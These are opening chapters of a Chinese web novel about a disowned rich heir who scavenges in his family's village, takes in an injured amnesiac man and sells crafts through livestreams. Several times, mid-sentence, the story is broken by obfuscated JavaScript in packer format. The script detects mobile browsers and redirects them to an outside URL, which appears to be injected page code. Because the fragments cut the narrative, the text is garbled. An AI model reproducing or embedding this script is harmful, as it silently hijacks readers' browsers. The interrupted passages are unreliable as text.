《豪门弃少靠捡垃圾爆红全网》 1. 捡回来的麻烦 天快下雨了,空气里都是湿土的味道。 “喂!到了!你下不下?”大巴车司机在前面吼了一嗓子。 许知行睁开眼,收回看向窗外荒山的视线,目光落在了自己沾满泥点的古驰皮鞋上。他站起来,提着一个银色的铝合金行李箱,面无表情的走向车门。 “这鬼地方连个站牌都没有,你确定是这儿?”司机从后视镜里看他一眼,眼神里全是看热闹的意思,“小伙子,这一脚下去,你那鞋可就废了。” 许知行没理他,一只手拎起沉重的箱子,一步跨出了车门。 脚下一软,烂泥直接淹没了脚面。 大巴车喷出一股黑烟,车门一关就开走了,溅了许知行一身泥水。 许知行站在路边,连脸上的泥点都懒得擦。他从口袋里拿出手机,信号格在无服务和一格之间跳来跳去。屏幕上最后一条消息来自母亲。 【知行,你不是许家的种,就别占着你弟弟的位置。那张卡停了,这张车票是我们最后的情分。老家这房子归你,以后别回来了。】 下面还有一条银行短信:【您的账户余额为:25.60元。】 许知行盯着那个小数点看了两秒,手指一划,平静的删掉了这两条短信,顺手把父亲、母亲、弟弟许文杰的号码都拉黑了。 做完这些,他直接往前走。 走过一段泥路,许知行抬头看向前面。 那是两扇快要塌了的木门,门上的红漆都掉光了,露出里面发黑的烂木头。院墙塌了一半,野草从砖缝里钻出来,长得比半个人还高。 哦,这就是他的新家。 “哟,这就是城里回来的那个?”一个粗哑的声音从旁边传来。 许知行转过头,看到一个穿汗衫、披雨衣的老头正蹲在田埂上抽旱烟,眯着眼看他。 “我是许知行。” “知道,村口老李头刚打电话说了,说有个穿得像新郎官似的傻小子被扔下来了。”老头磕了磕烟袋锅,站起来,从腰上摸出一把生锈的铜钥匙,“我是村长。许家那个管家交代了,钥匙给你。但这房子二十年没人住了,你要是怕鬼,就去村委会将就一晚。” 许知行接过钥匙。 “不用。” “嘿,随你。”村长把手揣进兜里,抬头看了看天,“马上要下大雨了,这屋顶漏不漏水我可不敢保,你好自为之吧。”说完,村长就快步走进了雨里。 许知行把钥匙插进锁孔。 “咔哒”,锁芯早就锈死了,钥匙直接断在了里面。 许知行看着那半截钥匙,脸上还是没什么表情。他往后退了半步,抬腿对着门板的缝隙就是一脚。 “砰”,两扇门板直接倒了下去,扬起一片灰尘。 “铰链老化,木头也脆了,踹的位置正好。” 他低声说了一句,拖着箱子踩着门板走了进去。 屋里光线很暗,到处都是霉味。堂屋中间摆着一张缺了条腿的八仙桌,墙角的蜘蛛网厚得跟棉絮一样。 许知行放下箱子,看了看四周。 他看了看桌子,桌腿断口很齐,用榫卯能修好。窗框烂了,但玻璃没碎,重新打胶就行。房梁好像被虫蛀了,得想办法加固一下。墙角那个破陶罐倒是可以改造成灯罩。 他卷起高定衬衫的袖子,露出紧实的小臂,走到墙角,捡起一根生锈的铁条。 “含碳量不高,废铁。但可以磨成一把起子。” 没人知道,许知行其实是个手工狂魔。 在许家的时候,他总待在地下室对着一堆破烂敲敲打打,所有人都以为他有自闭症。 对他来说,什么东西都能回收,什么东西都能重造。 现在,没人管他了。 “轰隆!!!” 一声响雷,豆大的雨点噼里啪啦的砸了下来。 屋顶果然漏水。 水柱顺着瓦片缝流下来,正好滴在八仙桌上,溅起一片水花。 许知行皱了皱眉。 他需要修补材料。木板,或者塑料布,什么都行。 他转身走出屋子。 外面的雨大得吓人,一下就把他淋成了落汤鸡。那件贵得要死的衬衫湿透了,紧紧贴在身上,能看出他很瘦,但腰背很直。 他记得刚才下车时,在村口看到过一个垃圾堆。 许知行顶着大雨,深一脚浅一脚的往村口走。 村里的路全是泥,走起来很费劲。路过几户人家,黄色的灯光从窗户透出来,还能听到电视的声音和小孩的哭闹声。 屋里的热闹,跟他一点关系都没有。 他走到了垃圾堆旁边。 这里堆满了各种生活垃圾,破塑料袋、烂菜叶、碎玻璃瓶混在一起,味道很难闻。 许知行倒是不在乎。他的眼睛在黑夜里找着有用的东西。 “这块木板不行,太烂了。” “这个轮胎或许可以割下来做个防水垫。” “这根钢管不错,很直。” 他弯腰去捡那根钢管。 手刚碰到冰凉的金属,他忽然看到垃圾堆另一边,有一大团黑乎乎的东西。 像一大包被人扔掉的旧衣服,也可能是什么死掉的大牲口。 许知行本着不可浪费的原则,走了过去。要是旧衣服,纤维能回收做填充物;要是死猪死羊,皮毛处理一下也许能用。 他伸出手,抓住那团东西的一角,用力一扯。 “哗啦。” 上面的破麻袋滑落,露出了下面的东西。 许知行愣了一下。 是个男人。 一个身材非常高大的男人。 男人脸朝下趴在泥水里,身上穿着一件烂得不成样子的黑色风衣,后背上全是吓人的伤口,皮肉都翻了出来,被雨水泡得发白。 死了? 许知行蹲下身,伸出两根手指,按在男人的脖子上。 指尖下传来了微弱但有力的跳动。 “看来还活着。” 许知行收回手,没急着救人,而是上下打量着这个男人。 骨架真大,身高估计超过一米九。身上的肌肉很结实,昏过去都能看出来爆发力很强。再看手,虎口有老茧,是经常用刀的人。 这身体素质,要是修好了,肯定是个好劳力。 许知行站起身,看了看周围。 大雨倾盆,一个人都没有。 要是把他扔在这儿,这人今晚肯定活不了。 “算了,捡回去吧。”许知行很快做了决定,“刚好缺个搬重物的。” 他弯下腰,抓住男人的两条胳膊,想把他扛起来。 “真沉。” 许知行咬了咬牙。这男人重得像头熊。 他试了两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299221|198618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次没成功,干脆不背了。他转过身,两只手抓住男人的衣领,像拖死狗一样,拖着他在泥地里往回走。 “滋啦——滋啦——” 男人的身体在泥浆上滑行,发出沉闷的声音。 雨越下越大,雷声滚滚。 许知行每走一步都得喘口气。这件废品实在太重了,快超出他的体力极限了。 回到那座破房子时,许知行已经累得手脚发软。 他一脚踹开门板,把男人拖进了堂屋。 屋里到处漏水,只有东边那间屋子的炕上还算干。 许知行把男人拖进东屋,费了好大的劲,才把这坨沉重的肉块扔到了炕上。 “砰!” 男人重重砸在硬邦邦的炕席上,闷哼了一声,还是没醒。 许知行靠着墙,大口喘气,抹了把脸上的雨水。 他打开手机手电筒,照向炕上的男人。 这人满身是泥,脸上也糊满了,根本看不清长相。只能看到高挺的鼻梁和紧闭的眼睛,五官轮廓很深,看着有点凶。 衣服肯定是不能要了。 许知行有洁癖,他不能忍受自己的工具这么脏。 他转身去院子里接了一桶雨水,提着一块破抹布走了回来。 “既然被我捡回来了,就得按我的规矩来。” 许知行面无表情的伸出手,抓住男人那件破风衣的领口,用力一撕。 “嘶啦——” 布料碎裂的声音在空屋子里特别清楚。 他动作很快的剥光了男人身上所有的衣服,连条内裤都没留。冰凉的雨水泼在男人身上,冲掉泥和血水。 许知行拿着抹布,用力的擦着男人的胸膛和胳膊。 泥污被擦掉后,男人身上的伤口全都露了出来。 “啧,破损率百分之四十。”许知行评价道,“修复难度还挺高。” 他擦到男人腹部时,手电筒的光晃过,看到男人腰侧有个纹身。 那是一串看不清的文字,被一道难看的新伤口切断了一半。 许知行顿了一下,没多研究。他对别人的秘密没兴趣,只对材料本身有兴趣。 简单清理完,许知行找来一条老宅以前留下的旧床单,随手盖在男人腰上。 “能不能活过今晚,看你自己了。” 许知行关掉手电筒。 他没有药,也没钱买药。 他在屋里找了一圈,最后在角落里翻出一个落满灰的工具箱。打开一看,里面有几把生锈的钳子、锤子,还有一卷黑色的绝缘胶带。 他想了想,拿着绝缘胶带走到炕边。 撕拉。 他撕下几条胶带,简单粗暴的贴在男人流血最厉害的几处伤口上,用力按紧。 “物理止血一下。” 做完这些,许知行已经累得不行。 他看了一眼占了整个炕的男人,想了想,缩在一张破藤椅上准备将就一晚。 窗外的雷声还在响,雨点砸在窗户上。 许知行闭上眼,脑子里想的不是明天吃什么,也不是那个把他赶出家门的假少爷在干什么,而是: 明天得先去垃圾场找点塑料膜把窗户补上。这个男人的衣服也烂了,得找些麻袋给他缝一件。还得做根拐杖,万一他腿断了还能用。 想着想着,他在又冷又湿的环境里睡着了。 2. 干活才有饭吃 清晨的光从破窗户照进来,空气里全是灰尘。 炕上的人动了一下。 蒋承骁是被疼醒的。后背火辣辣的疼,头也又沉又胀。 他皱着眉,试着撑起身体。手掌按在粗糙的草席上,又硬又扎手,还有一股霉味。 他猛的睁开眼。 看到的是发黑的房梁,挂着蜘蛛网,还有一盏不亮的灯泡。 这是哪? 蒋承骁想坐起来,却扯到了背后的伤口,疼的他倒吸一口凉气。他感觉身上很凉,低头一看,自己身上什么都没穿,只有腰上搭着一条破旧的床单。 他的胸口、肚子和胳膊上,还贴着几条黑色的绝缘胶带。 绝缘胶带? 蒋承骁不敢相信自己的眼睛,伸手就去撕胸口那条。 “滋啦!” “操!” 胶带粘的很紧,扯下来几根汗毛。剧痛让他彻底清醒,也看清了胶带下面的伤口。 有人用这玩意儿给他止血? “醒了?” 门口传来一道冷淡的声音。 蒋承骁猛的抬头,凶狠的看过去。 门口站着个年轻人。白衬衫袖子卷到手肘,下面是条沾着泥点的西裤,手里拿着一把生锈的锉刀,正低头的打磨一根木头。 “你是谁?”蒋承骁的声音很沙啞,“这是哪?我的衣服呢?” 许知行吹了吹木头上的木屑,头也没抬的说:“许知行。我家。扔了。” “扔了?” 蒋承骁顾不上疼,抓起破床单裹住自己,指着胸口问:“那这是什么?你对我做了什么?” “衣服烂了,全是泥,没法洗,就扔了。”许知行放下手里的锉刀,“那是绝缘胶带,防水,粘的牢。你的伤口裂开了,用它正好。” “你拿修水管的玩意儿修我?”蒋承骁的太阳穴突突的跳。 “管用就行。”许知行倒了杯凉水自己喝,“你不是活下来了。” 蒋承骁被噎了一下。他看了看四周,这屋子就跟个垃圾场一样。墙皮掉了,地上全是泥印,角落里堆着一堆破铜烂铁。 “我怎么会在这?”他按着太阳穴,什么都想不起来。 脑子里只有一些画面:大雨,黑车,刺眼的灯光,还有刀子划破皮肤的感觉。 “想不起来?”许知行看着他。 “头疼。”蒋承骁咬着牙,“我好像叫什么……诚萧?” “成削。”许知行点点头,“行,就叫你成削。” 许知行不在乎他真名叫什么,对他来说,这只是个代号。不过他觉得“成削”这名字不错,一听就适合干苦力。 “这地方太脏了。”蒋承骁嫌弃的往后缩了缩,离发霉的墙远了点,“有水吗?我要洗澡。” “水缸在院子里,自己去打。” “我是说热水。” “没有。” “沐浴露?” “没有。” “毛巾?” “那块擦地的抹布,你要是不嫌弃就拿去用。” 蒋承骁的脸沉了下来。他有洁癖,就算失忆了也改不掉。看着自己满身的灰,还有那条不知道多脏的破床单,他感觉浑身都不自在。 “我不穿这个。”蒋承骁把床单往地上一扔。 许知行面无表情的看着他:“那就光着。” “你!”蒋承骁气的站起来,结果起的太猛,眼前一黑,差点摔倒。 他扶着墙站稳,肚子不合时宜的“咕噜”叫了一声。 好饿。 “有吃的吗?”蒋承骁咬着牙问。 “没有。”许知行回答的很干脆,“我也没吃。” 蒋承骁瞪着他:“那你去买。” “没钱。”许知行摊开手,“我也刚被赶出家门,一分钱没有。” 两个穷光蛋在破屋里互相看着,都没说话。 蒋承骁烦躁的在屋里走来走去,光脚踩在泥地上让他更难受了。他走到墙角,看见那堆许知行捡回来的破烂:生锈的铁管、破轮胎、烂木头。 “这堆垃圾堆在这干嘛?又脏又占地方。”蒋承骁心里烦躁,抬脚就朝一根铁管踢过去,“扔了!看着就烦。” “别动。” 许知行的声音突然冷了下来。 蒋承骁没理他,一脚把铁管踢得滚了出去,撞在门框上“当啷”一声。 下一秒,一道风声过来。 许知行已经冲到他面前,手里刚磨好的锉刀抵在了蒋承骁的喉咙上。 许知行比蒋承骁矮了半个头,看着也瘦,但此刻的眼神很冷。 “那是我的材料。”许知行盯着蒋承骁的眼睛,一字一顿的说,“再动一下,我就把你拆了当废品卖。” 蒋承骁僵住了。 他能感觉到锉刀的尖正抵着自己的皮肤,只要再进一点,就能刺穿喉咙。这个看起来冷冰冰的小子是认真的。 “一堆破烂而已,至于吗……”蒋承骁喉咙动了一下,气势弱了些。 “对我来说,它比你有用。”许知行收回锉刀,捡起那根铁管,小心的擦掉上面的灰,放回原处。“你只有个子和力气,但这根管子能做成晾衣杆、防身棍或者水管,比你价值高。” 蒋承骁:“……” 这是什么歪理? 许知行把材料整理好,看了一眼外面的天。雨停了,太阳出来了。 “饿着不是办法。”许知行自言自语。 他转身往外走。 “你去哪?”蒋承骁问。 “弄吃的。” “给我带一份。”蒋承骁理直气壮的说。 许知行停下脚,回头看了他一眼,眼神里带着点嘲讽:“凭什么?” “凭我是伤员。” “伤员也是废品,没有回收价值。” 许知行说完,头也不回的走了。 蒋承骁站在原地,气的想砸墙,但看看那快塌的墙,又怕把自己埋了,只能忍住。他重新捡起床单裹在身上,一屁股坐在一张缺腿的椅子上,椅子“吱呀”一声响。 这到底是什么鬼日子! …… 许知行没走远,他去了村头李村长家。 李村长正在院里喂鸡,看见许知行过来,说:“活着呢?” “活着。”许知行直接说,“借点米,两斤五花肉,油盐酱醋都要。” 村长放下鸡食盆,磕了磕烟袋:“小伙子,我们这可不是开善堂的。住的屋子都是我给的钥匙,现在还想要吃的?” “我没钱。”许知行说的很坦白。 “没钱你说个屁。”村长翻了个白眼。 “但我会修东西。”许知行指了指院子角落那台拖拉机,“那车停了很久了吧?漏油,发动机响,还不好启动。去镇上修,最少要五百块。” 村长愣了:“你怎么知道?” “听声音,看地上的油渍。”许知行说,“给我两斤肉,一袋米,我给你修好。” 村长怀疑的看着他:“你会修拖拉机?你不是城里来的少爷吗?” “机械原理都差不多。”许知行走到拖拉机旁,掀开塑料布看了一眼,“进气管堵了,喷油嘴有积碳,活塞环也磨损了。清理一下,换个密封圈就行。密封圈我能用旧轮胎皮做。” 村长半信半疑。但这拖拉机确实坏了半年,镇上修车铺太贵,他一直没舍得修。 “行。”村长咬咬牙,“你要是修好了,东西你拿走。要是修坏了,你就在这给我喂一年的猪。” “成交。” 一个小时后。 许知行满手黑油,拧紧了最后一颗螺丝。 “试试。” 村长爬上车,摇动摇把。 “突突突——” 拖拉机冒着黑烟,发出了有力的轰鸣声,震得院子里的鸡到处飞。 “神了!”村长很高兴,“真修好了!” 许知行在旁边的水桶里洗了手:“肉和米。” 村长这次很大方,给了肉和米,还送了一把青菜,几个鸡蛋和一些调料。 “以后有啥坏的再找你啊!” 许知行提着东西,面无表情的往回走。 回到破屋,刚进院子,就看见蒋承骁正拿着根树枝,想把墙角的蜘蛛网弄掉,一边弄一边干呕。 “别白费力气了。”许知行走进厨房。 他熟练的生火,昨天捡的柴有点湿,烟很大。 蒋承骁被烟呛得咳嗽着跑出来:“你要烧房子吗?” “做饭。” 许知行没理他,架起一口缺了把手的大铁锅。 切肉,焯水,炒糖色。 虽然工具很差,但许知行对火候的控制很准。 滋啦一声,五花肉下了锅,煸炒出的油香味瞬间弥漫开来。 蒋承骁站在门口,想骂人的话都堵在了嗓子里。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299222|198618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 太香了。 一个饿了一天一夜的人,根本扛不住这种肉香味。 蒋承骁咽了口唾沫,肚子叫的更响了。 四十分钟后。 许知行端着一个缺了口的粗瓷大碗走出来,碗里是红亮的红烧肉,下面是白米饭和几根青菜。 他走到堂屋那张刚修好的桌子旁坐下,拿起筷子。 蒋承骁眼巴巴的看着。 许知行夹起一块肉放进嘴里。 “嗯,这猪肉不错。”他评价道。 蒋承骁忍不住了,蹭到桌边,还想装着不在乎的样子:“那个…你做了多少?” “够两个人吃的。”许知行头也不抬。 蒋承骁眼睛一亮:“那……” “但我只做给我自己吃。” 蒋承骁的脸僵住了:“你什么意思?” “意思就是,没你的份。”许知行又夹了口青菜,“除非你付钱。” “我没钱!”蒋承骁说,“但我可以欠着!等我想起来我是谁,我百倍还你!” “我不信口头承诺。”许知行摇头,“我只信等价交换。” “那你要怎么样?”蒋承骁看着那碗肉,感觉自己快撑不住了。 许知行放下筷子,指了指墙角的一捆干玉米皮。 “看见那个了吗?” “看见了,干柴火。” “那是玉米皮。”许知行说,“把它们撕成条,编成坐垫。村里收购站收这个,两块钱一个。” “编坐垫?”蒋承骁瞪大眼睛,指着自己的鼻子,“你让我?用这个?编坐垫?” “对。” “我是伤员,而且我肯定不是一般人!你看我的手!”蒋承骁伸出自己的手,虽然有点脏,但手指修长,“这双手是用来干大事的,不是用来编垫子的!” “不编也行。”许知行端起碗,作势要往外走,“那这肉我就喂狗了。外面好像有条流浪狗。” “你!” 蒋承骁气的浑身发抖。这简直是羞辱。他一个大男人,怎么能为了口吃的干这种活? 许知行夹起一块最大的红烧肉,在空中晃了晃,肉汁滴下来,香气扑鼻。 “咕噜。” 蒋承骁的肚子发出了抗议。 “我编。” 蒋承骁从牙缝里挤出两个字。 “先吃饭,吃完干活。”许知行指了指旁边的一碗饭,那是他早就盛好的。 蒋承骁愣了一下。 原来他早就准备好了? 他端起碗,也顾不上碗边的缺口,大口大口的吃起来。 真香。 这辈子没吃过这么好吃的红烧肉。 蒋承骁一边吃,一边在心里想:等老子想起来自己是谁,非得把这小子抓回去,天天给自己做饭,再让他编一万个坐垫。 吃饱喝足。 蒋承骁打了个嗝,感觉活过来了。 “洗碗。”许知行指了指空碗。 “我是伤员。” “伤在背上,不在手上。” 蒋承骁瞪了他一眼,不情愿的拿着碗去院子里洗。冷水刺骨,没有洗洁精,只能用丝瓜瓤蹭。 好不容易洗完,他刚想回炕上躺着,就被许知行拦住了。 “干活。” 许知行把那捆玉米皮扔在他面前,又扔给他一本破烂的书——《手工编织大全》。 “照着第十二页学。” 蒋承骁裹着破床单,盘腿坐在地上,盯着面前那堆有股土腥味的玉米皮,半天没动。 他笨拙的拿起一片玉米皮。 撕拉。 劲儿大了,断了。 再拿一片。 撕拉。 又断了。 蒋承骁的额头上青筋都冒了出来。 “轻点。”许知行在旁边修窗户,头也不回的提醒,“那是植物纤维,不是钢筋。” “闭嘴!”蒋承骁吼道,“我知道!” 他强迫自己冷静下来。 为了两块钱一个的坐垫。 为了明天的红烧肉。 为了活下去。 他只能缩在漏风的破屋里,裹着床单,耐心的撕玉米皮。 许知行看着窗外渐渐暗下来的天色,嘴角微微勾了一下。 家里多了个免费劳动力,脾气是臭了点,手也笨,但好歹能赚点买菜钱。 这笔买卖不亏。 3. 全副武装的复合肥 清晨的阳光照进破败的祖屋时,蒋承骁正盘腿坐在正堂的地上,面前是一堆小山似的干玉米皮。 他的手指头上缠着几圈黑色的绝缘胶带,是许知行给他的防护装备。 “这根本不是人干的活。”蒋承骁把手里的一片玉米皮用力的扔在地上,“昨天撕了一晚上,才能赚两块钱。许知行,你的商业头脑被狗吃了?” 许知行正在摆弄手机。他找了两块砖头,把手机架在上面,摄像头对准了那张缺了一条腿的八仙桌。 “两块钱是收购站的价格。”许知行头也没抬,正在调整镜头的角度,“我们要跳过中间商。” “什么意思?” “直播。”许知行说,“现在收破烂也得懂互联网。” 蒋承骁冷笑一声,扯了扯身上那件许知行连夜给他缝制的衣服。 那是一条用来装化肥的编织袋,被许知行剪了三个洞,成了一件背心。胸口上还印着“复合肥”三个红字,背后印着“尿素”。 此外,为了防止玉米皮上的灰尘,他还戴着一顶报纸折的帽子和一个黑色的口罩,整个人捂得严严实实。 “你让我穿成这样上镜?”蒋承骁指着胸口的字,“你是想让我死,还是想让全世界都笑死?” “你不用露脸,只负责在后面处理材料。”许知行调试好光线,“而且你现在这副全副武装的样子,亲妈来了都认不出。” 蒋承骁冷哼一声,捡起手边的游标卡尺。这是他在墙角工具箱里翻出来的,虽然生锈但还能用。他有严重的强迫症,受不了那些宽窄不一的玉米皮。 许知行点开了直播软件。这是他昨天用那张只有25块钱余额的银行卡注册的账号,名字叫“归零”。 没有预热,没有宣传,直接开播。 许知行坐在桌前,手里拿着一把剪刀和一卷细铁丝。“今天做个灯罩。”他对着镜头说道,声音平淡,“材料是玉米皮。” 起初直播间空荡荡的,但随着许知行那双手在镜头前翻飞,枯黄的玉米皮在他指尖迅速缠绕在铁丝骨架上,呈现出古朴又高级的几何纹理。 渐渐的,直播间里进来了几十个人。 【卧槽,这手艺可以啊!】 【这是玉米皮?我看着像艺术品。】 【主播手好漂亮,声音也冷冷的,爱了。】 突然,镜头捕捉到了角落里的动静。蒋承骁正拿着游标卡尺,一脸严肃的测量每一片玉米皮的宽度,眼神凌厉。 弹幕风向瞬间变了。 【大神手艺绝了!不过后面那个全副武装、看起来像要去杀毒的帅哥是谁?】 【哈哈哈哈,他胸口写着复合肥!还是个全副武装的复合肥!】 【他在干嘛?拿游标卡尺量玉米皮?这也太卷了吧!】 【虽然看不清脸,但这身材,这手臂线条……斯哈斯哈。】 许知行看了一眼弹幕,淡定的回答:“哦,新招的苦力。” 角落里的蒋承骁听到这两个字,动作一顿,卡尺发出“咔哒”一声脆响。 许知行补充了一句:“脾气不太好,但活儿细。” “许知行!” 蒋承骁猛的站起身,手里抓着一把刚测量好的玉米皮,迈着长腿几步走到镜头范围边缘。虽然戴着口罩,但那双眼睛里的火气几乎要烧穿屏幕。 他把手里的玉米皮重重的拍在桌子上,对着许知行恶狠狠的说道:“最后一次!再让我干这种粗活我就……” “今晚加餐排骨。”许知行头也没抬,手里继续编织着灯罩,语气波澜不惊。 蒋承骁那句狠话硬生生的卡在了喉咙里。 昨晚的红烧肉早就消化完了,此刻听到排骨那两个字,他的喉结不受控制的滚动了一下。空气凝固了三秒钟。 蒋承骁深呼吸,原本紧绷的肌肉线条瞬间放松下来。他默默的把桌上那把拍乱的玉米皮重新理顺,整整齐齐的放好。 “那我要糖醋的。”他黑着脸,咬牙切齿的补充道。 “成交。” 弹幕瞬间炸锅了。 【哈哈哈哈哈哈!笑死我了!】 【一顿糖醋排骨就哄好了?这就是传说中的霸道苦力?】 【“我要糖醋的”,这语气怎么这么委屈又这么霸道!】 【磕到了磕到了!清冷手艺人x暴躁复合肥!】 【这直播间太有意思了,关注了!】 在线人数开始飙升,从几十人涨到了几百人。 许知行并没有理会弹幕的狂欢,他专注于手里的活计。有了蒋承骁经过精密测量的材料,编织过程异常顺畅。 直播进行了两个小时。 许知行手里的灯罩初具雏形。原本废弃的玉米皮经过编织,呈现出一种古朴的纹理,暖黄色的光泽很有质感。 但他没怎么说话,旁边的蒋承骁成了焦点。 观众们反而对蒋承骁的一举一动更感兴趣:他怎么用卡尺剔除不合格的材料,怎么嫌弃的拍掉身上的灰尘,又怎么一边骂骂咧咧一边把活干的无可挑剔。 【这简直是强迫症福音,每一根都一样宽。】 【我觉得这个灯罩之所以好看,助理小哥的预处理功不可没。】 【主播,这灯罩卖吗?】 终于有人问到了重点。 许知行停下手中的动作:“卖。起拍价五十。” 【五十?这么便宜?】 【刚才看助理小哥用卡尺量了两个小时,光人工费都不止五十吧?】 【我出一百!冲着那个复合肥背心也要买!】 【一百五!】 价格一路飙升,最后定格在三百块。 许知行有些意外。这堆破烂的成本几乎为零,唯一的成本就是那一捆铁丝和电费。 “成交。”许知行截了个图,“后台私信地址。” 他关掉直播。 屏幕黑下去的那一刻,蒋承骁把手里的卡尺往地上一扔,整个人瘫倒在地上。 “累死老子了。”他扯下口罩,大口喘气,“许知行,我要喝水。” 许知行看着手机后台的余额,嘴角难得有了一丝笑意。 三百块。 在这个穷乡僻壤,三百块够他们生活半个月了。当然,如果蒋承骁不那么能吃的话。 他去院子里倒了一碗凉白开,递给蒋承骁。 蒋承骁接过碗,一口气喝干。水顺着他的嘴角流下来,滑过滚动的喉结,滴在那件复合肥背心上。 “三百块。”许知行晃了晃手机,“比卖坐垫强。” “分我一半。”蒋承骁伸出手。 “你欠我的医药费、住宿费、伙食费,加起来已经超过三千了。”许知行打破了他的幻想,“这三百块,先扣除利息。” “你这是放高利贷!”蒋承骁一下就火了,“而且我是主力!没有我的精密加工,你那破灯罩能卖三百?” “没有我的技术,你的精密加工就是一堆碎皮。”许知行站起身,“起来,去买排骨。” 听到排骨两个字,蒋承骁的声音顿时弱了下去。 他撑着地站起来,感觉腰酸背痛。 “我不能穿这个出去。”蒋承骁指着身上的编织袋,“这是底线。” “村里人都这么穿,没人看你。” “我有洁癖,而且我有羞耻心。”蒋承骁咬牙切齿,“给我找件正常的衣服。哪怕是老头衫也行。” 许知行想了想,走进里屋。 过了一会儿,许知行拿着一件洗的发黄的白色背心和一条宽松的大裤衩走了出来。 “这是我爷爷以前穿的。” 蒋承骁嫌弃的用两根手指捏起来:“洗过吗?” “二十年前洗过。” 蒋承骁:“……” 最后,蒋承骁还是妥协了。比起复合肥,老头衫至少算是人类的服装。 两人一前一后走在村里的泥土路上。 雨后的空气很清新,路边的野草长得飞快。 许知行走在前面,手里提着那个刚做好的灯罩,准备顺路寄快递,蒋承骁跟在后面,手里拿着那个游標卡尺——他觉得这东西挺顺手,决定留着当防身武器。 “喂。”蒋承骁快走两步,跟上许知行,“刚才那个直播,真的有人看?” “嗯。” “他们说什么了?”蒋承骁有些好奇,“是不是都在夸我的技术?” 许知行停下脚步,回头看了他一眼。 阳光下,蒋承骁穿着老头衫,身材高大挺拔,虽然脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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回到家,天已经黑了。 许知行熟练的生火、洗肉、下锅。 糖醋排骨的香味很快弥漫在破屋里,盖过了霉味和土腥味。 蒋承骁坐在灶台前帮忙添柴。他现在已经能熟练掌握火候了,知道什么时候该大火,什么时候该小火。 “好了。”许知行揭开锅盖。 浓郁的酸甜气息扑面而来。 两人围着那张缺腿的八仙桌坐下。桌子中间摆着一大盆糖醋排骨,旁边还有一碗蛋花汤。 没有精致的餐具,没有优雅的音乐,只有昏黄的灯泡和窗外的虫鸣。 蒋承骁夹起一块排骨,放进嘴里。 酸甜适中,肉质酥烂脱骨。 “怎么样?”许知行问。 “凑合。”蒋承骁嘴硬道,但手上的筷子却没停,“比猪食强点。” 许知行也不拆穿他,自己慢条斯理的吃着。 “明天继续直播?”蒋承骁突然问。 “嗯。” “还做灯罩?” “不,明天做竹编。”许知行说,“后山有一片竹林。” “竹子……”蒋承骁看了一眼放在桌边的游标卡尺,“竹子的硬度比玉米皮高,处理起来更费劲。得加钱。” “加个红烧茄子。” “成交。” 这一晚,蒋承骁睡的很沉。 虽然身下还是那张硬邦邦的炕,身上盖的还是那条破床单,但他没有再做噩梦。 梦里全是糖醋排骨和红烧茄子,还有那个拿着剪刀、面无表情逼他干活的许知行。 而许知行并没有马上睡。 他借着月光,坐在桌前,拿着那个游标卡尺看了很久。 “精度0.02毫米。”许知行低声自语,“一般人不会用这种东西,更不会用的这么熟练。” 这个被他捡回来的男人,身份不简单。 但他不在乎。 只要能干活,能帮他赚钱修这栋破房子,管他是逃犯还是大亨。 许知行放下卡尺,在那个小本子上记了一笔: 【收入:300元。支出:排骨45元,蔬菜20元,调料15元。结余:220元。】 【债务人:成削。今日表现:尚可。具备精密加工能力,可开发潜力大。】 写完,他合上本子,吹灭了那盏摇摇欲坠的油灯。 黑暗中,两人的呼吸声一前一后,在这间破屋里竟然显得有几分和谐。 4. 甜就闭嘴 一大早,许知行就在院子里磨刀。 “霍霍霍”的声音很有节奏,听得人牙酸。 他磨的是那把生锈的柴刀,昨天在杂物间翻出来的。刀刃虽然豁了几个口,但磨一磨还能用。 “一定要去?” 蒋承骁靠在门框上,身上穿着那件洗的发黄的老头衫,下面是一条不知名的宽松大裤衩,脚上踩着一双露脚趾的塑料拖鞋。 尽管这身打扮很土,但他双手抱胸,下巴微抬,那副样子,不知道的还以为他是来视察工作的。 “一定要去。”许知行试了试刀锋,“竹编需要新鲜竹子,后山那片竹林正好。” “我不去。”蒋承骁拒绝的很干脆。 “理由。” “那地方草又多又密,又湿又热,肯定全是虫子。”蒋承骁皱着眉,一脸的嫌弃,“而且地上都是泥,会把我的脚弄脏。” 他本来想说鞋,但看了一眼脚上的破拖鞋,忍住了。 许知行没说话。 他站起身,走到灶台边,端起昨晚吃剩的几根排骨骨头。 “大黑。”他喊了一声。 一只瘦骨嶙峋、黑白相间的流浪狗从院墙缺口钻了进来,尾巴摇得像螺旋桨。 “吃吧。”许知行把骨头倒在地上。 大黑立刻扑上去,咔嚓咔嚓嚼的起劲。 蒋承骁看着那条狗,喉结滚动了一下。 “你什么意思?” “意思就是,不干活,没饭吃。”许知行指了指那条狗,“它的待遇都比你好,因为它会看门。” 蒋承骁的脸黑了。 “我是伤员。” “伤口已经结痂了。” “我有洁癖。” “那你就饿着。”许知行拿起磨好的柴刀,又拿了一捆麻绳,“今天中午做红烧茄子,多放蒜末,过油炸两遍。” 蒋承骁深呼吸。 红烧茄子。过油。还是两遍。 该死的。 他一把抢过许知行手里的麻绳,咬牙切齿的说:“走。” 两人出了门。 刚走到村口,蒋承骁就后悔了。 